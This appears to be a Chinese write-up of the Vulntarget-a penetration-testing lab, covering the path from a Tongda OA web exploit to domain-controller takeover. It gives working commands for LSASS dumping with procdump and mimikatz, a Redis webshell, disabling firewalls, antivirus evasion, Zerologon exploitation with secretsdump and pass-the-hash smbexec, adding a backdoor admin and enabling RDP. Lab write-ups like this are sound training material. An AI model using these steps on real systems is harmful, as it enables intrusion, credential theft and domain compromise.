Vulntarget-a WriteUp

外网打点

http://192.168.248.141/

通达OA 直接尝试工具利用

image-20220329102838067

上蚁剑看到system权限。。直接不用提权了

image-20220329103224207

上cs进行内网渗透与信息收集

内网信息搜集

上传fscan,扫了一下192.168.248网段没其他收获,扫一下另一张网卡10网段的主机

通过tailor scan 和nbtscan发现了10.0.20.99主机

image-20220329105152789

image-20220329105204805

查看当前主机是否在域内

image-20220329105324361

net time /domain也报错,判断当前机器不在域内,直接打另一张网卡的99主机。

凭证获取

直接mimikatz 获得密码明文 admin

image-20220329105444391

内网主机1

ip地址10.0.20.99,从外网主机开个socks代理

image-20220329105831122

image-20220329105841361

浏览器访问20.99,hello world 扫了下目录只有phpinfo,暴露了绝对路径。 没有其他利用点,但是发现开了6379端口,

方式一 绝对路径 redis写shell

参考链接http://wjlshare.com/archives/1283

image-20220329213339815

image-20220329214114503

访问1.php

image-20220329214128176

image-20220329214343222

system权限。。

方式二 一键利用脚本端口转发上线

待补充,全部打完后再弄

主机信息搜集

双网卡,10.0.20.99 10.0.10.111

查询是否在域

image-20220329215118847

查看域管理员

1
net group "enterprise admins" /domain

image-20220329215346386

尝试获取dc ip

image-20220329215141334

dc ip 10.0.10.110

看下arp缓存

无其他可用信息,fscan扫描一下,也是只有DC信息,不管了,先上cs再说。

凭证收集

image-20220329215759988

先上传procdump dump下lsass文件

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

注意一点,上传的mimikatz是32位,使用掩日免杀编译的时候也是32位,但是到了本地解的时候需要使用64位的mimikatz。

解一下hash

得到主机账号密码 win2016 Admin#123

上线cs

第二台主机上线cs绕了很多弯路,说一下历程吧。

首先是win7开防火墙,win7禁用了管理员,使用cs的system权限修改管理员密码,然后3389上去编辑本地策略取消禁用管理员。

使用命令net user Administrator /active:yes激活管理员失败。

win7允许管理员登陆后,一直没上线,考虑是防火墙原因,netsh advfirewall set currentprofile state off 关闭了win7的防火墙,同样关闭了win2016的防火墙

接下来是pivot中继上线cs,大坑,因为中继上线无法生成shellcode,但是目标主机有defender,只能想办法免杀,然而掩日并不能免杀cs的exe文件,所以只能采用web-delivery方法获取32位shellcode然后手动免杀,然而python形式的shellcode获取并解码过后shellcode格式是”\\xff”形式,需要去掉一个反斜线,要不然也上不了线,踩了大坑。获取shellcode后使用掩日免杀,编译去掉64位编译选项,生成,上传,上线

image-20220331155404810

域控

根据上面收集的信息,dc为10.0.10.110,搞个代理访问到DC先,直接通过cs再开一个socks,proxifier/proxychains配置代理链

CVE-2020-1472

image-20220331222351102先利用漏洞把密码重置为空,然后dump出来hash

1
proxychains python3 secretsdump.py vulntarget.com/win2019\$@10.0.10.110 -no-pass

image-20220331222649024

然后利用smbexec拿到shell

1
2
proxychains python3 smbexec.py  -hashes ad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget.com/administrator@10.0.10.110

image-20220331222917115

添加用户,添加管理员

1
2
3
4
5
6
7
net user polowong Admin@polo123 /add
命令成功完成。


C:\Windows\system32>net localgroup administrators polowong /add
命令成功完成。

开3389

1
2
3
reg add "HKLM\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

image-20220331224750967

hash还原

如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。

1
2
3
4
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

然后在当前shell目录生成这三个文件,c/windows/system32

通过mstsc拷回来,考到kali,使用secretdump解析

1
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20220331230022740

使用脚本

https://github.com/risksense/zerologon

还原hash

proxychains python3 reinstall_original_pw.py win2019 10.0.10.110 70312b76f3ee31850203aff8c224f454

image-20220331230526502

可以了,测试下用原来的密码也可以登录,并且用secretdump no-pass 利用失败

image-20220331230759230

上线cs

一样的方法拿出shellcode然后做免杀,上传上线

image-20220331230913354

image-20220331230922379